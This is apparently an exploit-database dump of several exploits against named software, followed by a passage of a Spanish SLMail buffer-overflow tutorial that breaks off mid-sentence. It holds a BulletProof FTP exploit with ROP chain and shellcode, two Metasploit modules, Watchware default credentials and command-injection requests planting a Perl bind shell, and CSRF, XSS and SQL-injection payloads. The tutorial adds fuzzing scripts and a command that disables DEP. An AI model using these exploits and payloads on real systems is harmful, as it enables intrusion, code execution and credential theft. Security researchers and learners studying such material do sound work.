rop_gadgets += pack('<L',0x7ca82222)  # NEG EAX # RETN [shell32.dll]
rop_gadgets += pack('<L',0x77227494)  # XCHG EAX,EBX # RETN [WININET.dll]
rop_gadgets += pack('<L',0x77c21d16)  # POP EAX # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0xffffffc0)  # Value to negate, will become 0x00000040
rop_gadgets += pack('<L',0x771bcbe4)  # NEG EAX # RETN [WININET.dll]
rop_gadgets += pack('<L',0x77f124c8)  # XCHG EAX,EDX # RETN [GDI32.dll]
rop_gadgets += pack('<L',0x77c2c343)  # POP ECX # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0x77c605b5)  # &Writable location [msvcrt.dll]
rop_gadgets += pack('<L',0x77c23b47)  # POP EDI # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0x77c39f92)  # RETN (ROP NOP) [msvcrt.dll]
rop_gadgets += pack('<L',0x77c34d9a)  # POP ESI # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0x77c2aacc)  # JMP [EAX] [msvcrt.dll]
rop_gadgets += pack('<L',0x77c21d16)  # POP EAX # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0x77c11120)  # ptr to &VirtualProtect() [IAT msvcrt.dll]
rop_gadgets += pack('<L',0x77c12df9)  # PUSHAD # RETN [msvcrt.dll]
rop_gadgets += pack('<L',0x77c35524)  # ptr to 'push esp #  ret ' [msvcrt.dll]


# heap-only egghunter
hunter  = b'\x6a\x30\x5a'             # PUSH 30 # POP EDX
hunter += b'\x64\x8b\x12'             # MOV EDX, DWORD PTR FS:[EDX]
hunter += b'\x80\xc2\x90'             # ADD DL,90
hunter += b'\x8b\x12'                 # MOV EDX, DWORD PTR [EDX]
hunter += b'\x8b\x12'                 # MOV EDX, DWORD PTR [EDX]
hunter += b'\xeb\x05'                 # JMP SHORT
hunter += b'\x66\x81\xca\xff\x0f'     # OR DX,0FFF
hunter += b'\x42\x52'                 # INC EDX # PUSH EDX
hunter += b'\x6a\x02\x58'             # PUSH 2 # POP EAX
hunter += b'\xcd\x2e'                 # INT 2E
hunter += b'\x3c\x05'                 # CMP AL,5
hunter += b'\x5a'                     # POP EDX
hunter += b'\x74\xef'                 # JE SHORT
hunter += b'\xb8\x77\x30\x30\x74'     # MOV EAX, w00t
hunter += b'\x89\xd7'                 # MOV EDI,EDX
hunter += b'\xaf'                     # SCAS DWORD PTR ES:[EDI]
hunter += b'\x75\xea'                 # JNZ SHORT
hunter += b'\xaf'                     # SCAS DWORD PTR ES:[EDI]
hunter += b'\x75\xe7'                 # JNZ SHORT

# copy shellcode back to stack
strcpy  = b'\x8b\xec'                 # MOV EBP,ESP
strcpy += b'\x57\x55\x55'             # PUSH EDI # PUSH EBP # PUSH EBP
strcpy += b'\x68\x30\x60\xc4\x77'     # PUSH ptr to &strcpy [msvcrt.dll]
strcpy += b'\xc3'                     # RET

egg = 'w00t'.encode()

# msfvenom -p windows/exec -b '\x00\x0d\x0a\x1a' -e x86/shikata_ga_nai cmd=calc.exe
shellcode  = b''
shellcode += b'\xdb\xd1\xb8\xda\x92\x2c\xca\xd9\x74\x24\xf4\x5a\x31'
shellcode += b'\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xce\x70'
shellcode += b'\xd9\x36\x06\xf6\x22\xc7\xd6\x97\xab\x22\xe7\x97\xc8'
shellcode += b'\x27\x57\x28\x9a\x6a\x5b\xc3\xce\x9e\xe8\xa1\xc6\x91'
shellcode += b'\x59\x0f\x31\x9f\x5a\x3c\x01\xbe\xd8\x3f\x56\x60\xe1'
shellcode += b'\x8f\xab\x61\x26\xed\x46\x33\xff\x79\xf4\xa4\x74\x37'
shellcode += b'\xc5\x4f\xc6\xd9\x4d\xb3\x9e\xd8\x7c\x62\x95\x82\x5e'
shellcode += b'\x84\x7a\xbf\xd6\x9e\x9f\xfa\xa1\x15\x6b\x70\x30\xfc'
shellcode += b'\xa2\x79\x9f\xc1\x0b\x88\xe1\x06\xab\x73\x94\x7e\xc8'
shellcode += b'\x0e\xaf\x44\xb3\xd4\x3a\x5f\x13\x9e\x9d\xbb\xa2\x73'
shellcode += b'\x7b\x4f\xa8\x38\x0f\x17\xac\xbf\xdc\x23\xc8\x34\xe3'
shellcode += b'\xe3\x59\x0e\xc0\x27\x02\xd4\x69\x71\xee\xbb\x96\x61'
shellcode += b'\x51\x63\x33\xe9\x7f\x70\x4e\xb0\x15\x87\xdc\xce\x5b'
shellcode += b'\x87\xde\xd0\xcb\xe0\xef\x5b\x84\x77\xf0\x89\xe1\x88'
shellcode += b'\xba\x90\x43\x01\x63\x41\xd6\x4c\x94\xbf\x14\x69\x17'
shellcode += b'\x4a\xe4\x8e\x07\x3f\xe1\xcb\x8f\xd3\x9b\x44\x7a\xd4'
shellcode += b'\x08\x64\xaf\xb7\xcf\xf6\x33\x16\x6a\x7f\xd1\x66'

identifier = b'This is a BulletProof FTP Client Session-File and should not be modified directly.'
host       = buf
port       = b'21'
name       = b'B' + rop_gadgets + hunter + strcpy
password   = b'bpfmcidchffddknejf'
local      = egg + egg + shellcode

sploit     = b"\r\n".join([identifier, host, port, name, password, local])

try:
  print('[*] Creating exploit file...')
  f = open('sploit.bps', 'wb')
  f.write(sploit)
  f.close()
  print('[*] sploit.bps file successfully created!')
except:
  print('[!] Error while creating exploit file!')
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BulletProof FTP Client BPS Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        BulletProof FTP Client 2010, caused by an overly long hostname.
        By persuading the victim to open a specially-crafted .BPS file, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gabor Seljan'
        ],
      'References'     =>
        [
          [ 'EDB', '34162' ],
          [ 'EDB', '34540' ],
          [ 'EDB', '35449' ],
          [ 'OSVDB', '109547' ],
          [ 'CVE', '2014-2973' ],
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d\x1a",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 89,
              'Ret'    => 0x74c86a98  # POP EDI # POP ESI # RET [oleacc.dll]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 24 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
      ],
    self.class)
  end

  def exploit
    eggoptions = {
      :checksum => true,
      :eggtag => 'w00t'
    }

    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
    sploit << rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter               + "\r\n"  # FTP Server HOST / IP
    sploit << rand_text_numeric(5) + "\r\n"  # Port number
    sploit << egg                  + "\r\n"  # Login name
    sploit << rand_text_alpha(8)   + "\r\n"  # Login password

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(sploit)
  end

end
            
Bull Clusterwatch/Watchware is a VERY VERY OLD tool used by sysadmins to manage their AIX clusters.

Marble effect in the web banner and questionable font: it smells the 90s !

Tool is mainly a web app with CGIs (shell scripts and binaries) and we have found three vulnerabilities in it:

Trivial admin credentials
Authenticated user can write on the system file
Authenticated user can inject OS commands
By combining these three vulnerabilities an attacker can fully compromise servers running Watchware.

We tried to contact Bull to report this more than one year ago without any success, but the devs are probably retired now so that doesn’t matter, let’s do some archeology alone.

Here are the details:


1. Trivial creds: smwadmin/bullsmw

2. Authenticated user can write on the system file

A page allows sysadmins to customize a few things including filters that are used in the process listing page (the tool allows you to list your running processes).

But these filters are written on disk and you can call them using the following OS command injection.

Request to write the shellcode:

http://host:9696/clw/cgi-bin/adm/bclw_updatefile.cgi?cluster=clustername&node=nodename&alarm=%0D%0Aswap_adapter%0D%0Anode_down%0D%0Anode_up%0D%0Anetwork_down%0D%0Anetwork_up%0D%0Astate%0D%0Ahacmp%0D%0Astop%0D%0Aaix%0D%0A&day=1%0D%0A2%0D%0A3%0D%0A4%0D%0A5%0D%0A6%0D%0A7%0D%0A8%0D%0A15%0D%0A30%0D%0A45%0D%0A0%0D%0A&hour=0%0D%0A1%0D%0A2%0D%0A3%0D%0A4%0D%0A5%0D%0A6%0D%0A12%0D%0A18%0D%0A23%0D%0A&proc=perl%20-e%20'use%20Socket;$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p,%20INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close%20C){open(STDIN,">%26C");open(STDOUT,">%26C");open(STDERR,">%26C");exec("/bin/ksh%20-i");};'%0D%0A%0D%0A&lpp=%0D%0Acluster%0D%0A&refr=0%0D%0A

The shellcode we used:

perl -e 'use Socket;$p=2223;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/ksh -i");};'

3. Authenticated user can inject OS commands

When listing the processes you can apply a filter… and inject a single command using backticks, great !

Very useful to execute our shellcode which was stored in a single file (the filter).

Request to execute the shellcode:

http://host:9696/clw/cgi-bin/adm/bclw_stproc.cgi?cluster=clustername&node=nodename&proc_filter=smw`/usr/sbin/bullcluster/monitoring/clw/web/conf/proc_filter.txt`"
            
source: https://www.securityfocus.com/bid/64735/info

Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers. 

<form method=â?POSTâ? name=â?form0? action=â? http://www.example.com/adminpanel/edit_admin.phpâ?>
<input type=â?hiddenâ? name=â?useridâ? value=â?ADMINâ?/>
<input type=â?hiddenâ? name=â?passâ? value=â?12121212?/>
<input type=â?hiddenâ? name=â?retypepassâ? value=â?12121212?/>
<input type=â?hiddenâ? name=â?addnewâ? value=â?1?/>
<input type=â?hiddenâ? name=â?actionâ? value=â?saveâ?/>
<input type=â?hiddenâ? name=â?newâ? value=â?Submitâ?/>
</form> 
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
      'Description'    => %q{
        This module exploits a vulnerability found in BuilderEngine 3.5.0
        via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
        file, which would result in arbitrary remote code execution under the context of
        the web server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metanubix',   # PoC
          'Marco Rivoli' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '40390']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['BuilderEngine 3.5.0', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 18 2016",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
        ])
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
    })

    if res && res.code == 200 && !res.body.blank?
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path

    peer = "#{rhost}:#{rport}"
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
    data = Rex::MIME::Message.new
    payload_encoded = Rex::Text.rand_text_alpha(1)
    payload_encoded << "<?php "
    payload_encoded << payload.encoded
    payload_encoded << " ?>\r\n"
    data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri'    => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
      'method' => 'POST',
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    })

    if res
      if res.code == 200 && res.body =~ /files|#{php_pagename}/
        print_good("Our payload is at: #{php_pagename}. Calling payload...")
        register_file_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end

    print_status("Calling payload...")
    send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(uri,'files/', php_pagename)
    )
  end
end
            
<!-- 
# Exploit Title: BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0
# Date: 18/09/2016
# Exploit Author: metanubix
# Vendor Homepage: http://builderengine.org/
# Software Link: http://builderengine.org/page-cms-download.html
# Version: 3.5.0
# Tested on: Kali Linux 2.0 64 bit
# Google Dork: intext:"BuilderEngine Ltd. All Right Reserved"

1) Unauthenticated Unrestricted File Upload:

	POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/

	Vulnerable Parameter: files[]

	We can upload test.php and reach the file via the following link:
	/files/test.php
-->
<html>
<body>
<form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
	<input type="file" name="files[]" />
	<input type="submit" value="send" />
</form>
</body>
</html>
            
# Exploit Title: BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS)
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: None
# Version: 5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36163

#PoC:
An attacker just needs to find the vulnerable parameter (mc=) and inject the JS code like:
'><script>prompt("XSS");</script><div id="aa

After that, the attacker needs to send the full URL with the JS code to the victim and inject their browser.

#Payload:
company_search_tree.php?mc=aaa'><script>prompt("XSS");</script><div id="aaaa
            
# Exploit Title: Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated)
# Date: 24/10/2021
# Exploit Author: Nehru Sethuraman
# Vendor Homepage: https://ribccs.com/solutions/solution-buildsmart
# Version: 21.0817
# Build: 3
# Google Dorks: intitle:buildsmart accounting
# Tested on: OS - Windows 2012 R2 or 8.1  & Database - Microsoft SQL Server 2014

Exploit Details:

URL: https://example.com/acc/validateLogin.asp?SkipDBSetup=NO&redirectUrl=

*HTTP Method:* POST

*POST DATA:*

VersionNumber=21.0906&activexVersion=3%2C9%2C0%2C0&XLImportCab=1%2C21%2C0%2C0&updaterActivexVersion=4%2C19%2C0%2C0&lang=eng&rptlang=eng&loginID=admin&userPwd=admin&EID=company&eidValue=company&userEmail=

Vulnerable Parameter: eidValue

SQL Injection Type: Stacked queries

Payload: ';WAITFOR DELAY '0:0:3'--
            
source: https://www.securityfocus.com/bid/63205/info

Bugzilla is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to steal cookie-based authentication information, execute arbitrary client-side scripts in the context of the browser, and obtain sensitive information. Other attacks are also possible.

Bugzilla versions 4.1.1 through 4.2.6, and 4.3.1 through 4.4 are vulnerable.

Note: This issue exists due to an incomplete fix for CVE-2012-4189 (identified in BID 56504 - Bugzilla Multiple Cross Site Scripting and Information Disclosure Vulnerabilities). 

https://www.example.com/bugzilla-tip/report.cgi?x_axis_field=short_desc&y_axis_field=short_desc&z_axis_field=short_desc&no_redirect=1&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&resolution=---&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&deadlinefrom=&deadlineto=&bug_id=22386%2C22387&bug_id_type=anyexact&emailassigned_to1=1&emailtype1=substring&email1=&emailassigned_to2=1&emailreporter2=1&emailqa_contact2=1&emailcc2=1&emailtype2=substring&email2=&emaillongdesc3=1&emailtype3=substring&email3=&chfieldvalue=&chfieldfrom=&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap 
            
source: https://www.securityfocus.com/bid/63204/info

Bugzilla is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Bugzilla versions 2.17.1 through 4.0.10, 4.1.1 through 4.2.6 and 4.3.1 through 4.4 are vulnerable. 

http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id="><script>alert(1)</script>&token=&target_type=bug&check_clusions=1&name=test1&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group=

http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id=&token=&target_type=bug&check_clusions=1&name=test&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1"><script>alert(2)</script>&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group= 
            
source: https://www.securityfocus.com/bid/50083/info

BugFree is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

BugFree 2.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/Bug.php?BugID=1&ActionType=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/Report.php?ReportMode=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/ReportLeft.php?ReportMode=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminProjectList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminGroupList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/AdminUserLogList.php/%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
            

En este post vamos a estar explotando el servicio SLMail de versión 5.5 el cual es vulnerable a un Buffer Overflow en el campo PASS:

image 65

Aunque ya haya scripts que automaticen la explotación, nosotros vamos a hacerlo de forma manual.

Antes que nada, es recomendable haber leído el post de Fundamentos de Buffer Overflow si nunca has ejecutado este tipo de ataque.

Vamos a estar trabajando con nuestro Kali y un Windows 7 de 32 bits.

  • Índice:
    • Introducción
    • Fuzzing
    • Tomando el control del EIP
    • Averiguando badchars
    • Crear payload con msfvenom
    • Buscando dirección con opcode JMP ESP
    • Exploit final

Introducción

Lo primero de todo es descargar e instalar el servicio «SLMail» en el Windows 7, previo a esto tenemos que asegurarnos que nuestro Windows 7 tiene desactivado el DEP y que el firewall no nos bloquee, al menos los puertos 25 y 110.

  • El firewall podemos configurarlo usando «Windows Firewall con Seguridad Avanzada» o netsh. Este último, podemos ver como hacerlo en el post de pivoting netsh.
  • Y el DEP (Data Execution Prevention) podemos deshabilitarlo desde una terminal como administrador usando el comando:
    • bcdedit.exe /set nx AlwaysOff

Podemos descargar SLMail 5.5 desde su web oficial. Una vez lo descargamos, empezamos el proceso de instalación:

image 66

En este caso no hace falta tocar nada, con darle todo a «Siguiente» es suficiente. Cuando la instalación acabe reiniciaremos el equipo y listo. Tendremos el SLMail instalado.

Cuando se inicie el equipo abrimos el SLMail como administrador:

image 67

Y nos dirigimos a la pestaña de control:

image 68

Desde esta parte es donde podemos controlar si se pausa el servicio o se inicia, nos servirá para cuando se crashee al ocasionar el buffer overflow. Como vemos ahora mismo ya está iniciado, por lo que si vamos a nuestro kali, podremos ver los puertos 25 y 110 abiertos:

image 69

Con todo el servicio instalado, ejecutándose y expuesto, ya podemos ponernos con el buffer overflow.

En este caso en particular, ya hemos identificado y ya conocemos de forma previa que el servicio es vulnerable. Además, hemos visto en searchsploit que ya hay scripts que lo explotan automáticamente. Por lo que vamos a ayudarnos de alguno de estos scripts para identificar la manera.

En cualquier otro caso, cuando no sepamos de qué servicio se trata y no sepamos casi nada, la mejor opción es simplemente conectarnos al puerto mediante netcat o telnet y ver si nos responde de alguna forma, y a partir de ahí, ver que se puede hacer.

Dicho esto, vamos a echarle un vistazo al primer script de searchsploit:

image 70

El título ya nos adelanta que el parámetro vulnerable parece ser ‘PASS’

Echando un ojo al primer script, vemos como sería el procedimiento:

image 71

El parámetro PASS parece ser el campo de la contraseña de un login. Además, si nos fijamos, vemos que de los dos puertos que usa SLMail, el 25 y el 110. Se conecta al 110, por lo que también identificamos a cuál de los dos puertos conectarnos.

Vamos a probarlo de forma manual:

image 72

Parece que son válidos ambos campos, aunque nos digan que las credenciales son incorrectas.

En este punto ya tenemos lo necesario para empezar:

  • Servicio vulnerable detectado
  • Puerto al que conectarnos
  • Parámetro vulnerable

Fuzzing

Sabiendo todo esto, es la hora de hacer Fuzzing, es decir, tenemos que averiguar que cantidad de información hace falta en el parámetro PASS para que se ocasione el Buffer Overflow y el programa corrompa.

Antes de hacer fuzzing, en el Windows 7 vamos a abrir como administrador el Immunity Debugger para adjuntarnos al proceso del SLMail:

image 73
image 74

De esta forma ya habremos adjuntado el Immunity Debugger al proceso de SLMail:

image 75

Ojo, cuando nos juntamos con Immunity a un proceso, este se pausa, lo podemos ver abajo a la derecha:

image 76

Por lo que no olvidemos nunca, reanudar el proceso:

image 77
image 78

Con esto hecho, ahora para hacer fuzzing vamos a hacer uso de un script en python, el cual nos automatiza la tarea:

#!/usr/bin/python

from pwn import *
import socket, sys

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 9999

if __name__ == '__main__':

    buffer = ["A"]
    contador = 100

    while len(buffer) < 32:
        buffer.append("A"*contador)
        contador += 100

    p1 = log.progress("Data")

    for strings in buffer:

        try:
            p1.status("Enviando %s bytes" % len(strings))

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip_address, rport))
            data = s.recv(1024)


            s.send("%s" % strings)
            data = s.recv(1024)

        except:

            print "\n[!] Ha habido un error de conexion\n"
            sys.exit(1)

Éste es el script estándar, solo tenemos que adaptarlo para que se adecue al caso que necesitamos:

#!/usr/bin/python

from pwn import *
import socket, sys

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = <puerto>

if __name__ == '__main__':

    buffer = ["A"]
    contador = 150

    while len(buffer) < 32:
        buffer.append("A"*contador)
        contador += 150

    p1 = log.progress("Data")

    for strings in buffer:

        try:
            p1.status("Enviando %s bytes" % len(strings))

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip_address, rport))
            data = s.recv(1024)

            s.send("USER prueba\n\r")
            data = s.recv(1024)

            s.send("PASS %s\n\r" % strings)
            data = s.recv(1024)

        except:

            print "\n[!] Ha habido un error de conexion\n"
            sys.exit(1)

Cuando mandamos el USER y el PASS, colocando \n\r al final. Estamos simulando que presionamos la tecla enter

El uso del script es sencillo, simplemente le tenemos que especificar una IP, además de editar el puerto en el código:

image 79
image 80

Con el puerto cambiado, vamos a ejecutar el script apuntando al Windows 7:

image 81
image 82
image 83

Cuando se quede pillado el número de bytes, nos volvemos al immunity debugger (o también podemos ver como se comporta el immunity mientras recibe los bytes):

image 84
image 85
image 86

Como vemos el estado del programa es «Paused», por lo que el programa a crasheado. Además, podemos como se han quedado los registros.

Si nos fijamos en los campos del EBP y del EIP, vemos como el valor de los 4 bytes es \x41 (este es el formato para representar el hexadecimal, con \x como prefijo).

image 87

Para quien no lo sepa, 41 es la letra A en hexadecimal. Que es exactamente lo que nosotros le estamos enviando.

image 88
image 89

¿Qué significa esto?

Básicamente, imaginémonos que el servicio como mucho esperaba en el campo «PASS», un valor máximo de 30 caracteres (que no es el caso, es bastante más).

¿Qué pasaría si nosotros le mandamos 60 caracteres?

Ocurre entonces que la memoria que tiene el programa reservado para ese campo es bastante menor que los datos recibidos, por lo que esa diferencia de 30 (60 – 30) se tiene que ir hacia algún lado. Y es aquí donde se empieza a sobrescribir registros.

La idea básicamente es esta:

image 90

Teniendo esto claro, y viendo como hemos sobrescrito el EIP y el EBP, la idea ahora es tomar el control del EIP, es decir, determinar exactamente cuantas ‘A‘ tenemos que mandar antes de empezar a sobrescribirlo.

Este registro nos importa tanto, ya que es la dirección de la próxima instrucción del programa, por eso se llama EIP (Extended Instruction Pointer).

Por esta misma razón el programa crashea, ya que al estar sobrescribiendo este registro, cuando el programa va a seguir su flujo, lo que hace es ver a que dirección apunta el EIP, y claro, si la dirección a la que apunta es 0x41414141, pues no llega a ningún sitio, ya que no es una dirección de memoria válida. Por eso el programa se corrompe.

Tomando el control del EIP

Con todo esto claro, para determinar el offset del EIP, o dicho de otra forma, cuantas ‘A‘ hacen falta hasta sobrescribirlo, vamos a hacer uso de dos herramientas de metasploit (en un examen como el OSCP es totalmente válido usar estas dos herramientas):

  • pattern_create.rb
  • pattern_offset.rb

Asegurándonos de que tenemos metasploit instalado, podemos encontrar estas dos herramientas de la siguiente forma:

image 91

Primero vamos a usar pattern_create.rb, lo que nos permite esta herramienta es crear una cadena de la longitud que nosotros indiquemos. Esta cadena está especialmente diseñada para que no haya patrones repetidos.

Antes, hemos comprobado que con 2700 bytes ya conseguíamos además de corromper el programa, sobrescribir los registros. Por lo que ahora vamos a cambiar un poco el script para directamente mandar solo un payload. El modelo del script a usar, sería el siguiente:

#!/usr/bin/python

from pwn import *
import socket, sys
from struct import pack

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 9999

shellcode_windows=()

shellcode_linux=()

if __name__ == '__main__':

    p1 = log.progress("Data")

    payload = <payload>

    try:
        p1.status("Enviando payload")

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_address, rport))
        data = s.recv(1024)


        s.send(payload + '\r\n')
        data = s.recv(1024)


    except:

        print "\n[!] Ha habido un error de conexion\n"
        sys.exit(1)

De nuevo, simplemente lo copiamos y lo adaptamos a lo que necesitemos:

#!/usr/bin/python

from pwn import *
import socket, sys
from struct import pack

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 110

shellcode_windows=()

shellcode_linux=()

if __name__ == '__main__':

    p1 = log.progress("Data")

    payload = <payload>

    try:
        p1.status("Enviando payload")

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_address, rport))
        data = s.recv(1024)


        s.send('USER prueba\r\n')
        data = s.recv(1024)

        s.send('PASS ' + payload + '\r\n')
        data = s.recv(1024)

    except:

        print "\n[!] Ha habido un error de conexion\n"
        sys.exit(1)

Con esto, vamos a generar ahora una cadena de 2700 bytes con pattern_create.rb:

pattern_create.rb -l <longitud de la cadena>

image 92

Copiamos este output y lo adjuntamos a la variable payload del script:

image 93

De esta forma, vamos a ejecutar el script para que mande directamente este payload al campo «PASS».

Cada vez que ocasionemos un buffer overflow y el programa corrompa, tenemos que reiniciar el servicio y volvernos a adjuntarnos con immunity debugger a él, ya que al reiniciar el servicio el proceso cambia.

Ejecutamos el exploit:

image 94

En immunity podemos ver como el programa corrompe:

image 95

Con esto hecho, la idea ahora es fijarnos en el valor del registro EIP:

image 96

Es 39694438. Este valor corresponde a una parte en concreto de la cadena que hemos enviado en el payload.

Teniendo en cuenta este número, vamos a usar pattern_offset.rb:

pattern_offset.rb -q <valor del EIP>

image 97

Ojo, nos dice que el offset es 2606, es decir que si mandamos 2606 ‘A‘ y 4 ‘B‘, el valor del EIP debería de ser 42424242 (ya que 42 es B en hexadecimal).

Vamos a comprobarlo:

image 98

<Reiniciamos el servicio>

<Nos adjuntamos con Immunity Debugger>

Ejecutamos el exploit:

image 99
image 100

Como vemos, EIP vale las 4 ‘B‘ que hemos mandado. Es en este punto cuando se dice que tenemos el control del EIP.

Averiguando badchars

Ahora, es hora de averiguar los «badchars». Los badchars son bytes que por así decirlo el programa no admite. De tal forma que si generásemos un payload con algún badchar, no funcionaría.

Para este paso, vamos a hacer uso de mona, un módulo de Immunity Debugger que nos facilitará la tarea.

Su instalación es bastante sencilla, descargamos el script mona.py de su repositorio oficial. Este script lo movemos a la siguiente ruta:

C:\\Archivos de programa\\Immunity Inc\\Immunity Debugger\\PyCommands

C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands

Y de esta forma ya se habrá instalado. Podemos comprobarlo en el Immunity Debugger con !mona:

image 101

Hecho esto, vamos a configurar el espacio de trabajo con el comando:

